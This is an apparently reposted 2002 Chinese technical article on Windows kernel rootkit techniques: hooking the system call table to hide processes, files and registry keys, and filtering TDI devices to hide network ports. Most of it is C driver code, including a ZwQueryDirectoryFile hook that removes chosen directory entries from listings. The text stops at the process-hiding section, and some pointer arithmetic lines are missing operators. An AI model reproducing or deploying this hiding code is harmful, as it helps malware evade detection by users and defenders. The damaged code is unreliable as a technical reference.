Email: sinister@whitecell.org
Homepage:http://www.whitecell.org
Date: 2002-05-08
查找进程，目录/文档，注册表等操作系统将最终调用 ZwQueryDirectoryFile，ZwQuerySystemInformation，ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章周详介绍过，这里不在详述。（能够参见 sysinternals.com 或 WebCrazy 所写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 和 \\Device\\Udp。我们能够利用设备过滤驱动的方法写一个 DRIVE 把这两个设备的任何 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已有的老技术。俺现在将他贴出来只但是为了充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文档，端口代码片段。
（注册表操作在 RegMon 中写的很周详，这里就不列出了）
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
}FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
// 隐藏目录/文档
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
// 执行旧的ZwQueryDirectoryFile函数
rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
pLast = NULL;
do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
// 在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
{
if (ptr->flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
{
found=1;
break;
}
}//end for
// 假如链表中包含当前目录，隐藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隐藏
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
// 隐藏进程
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
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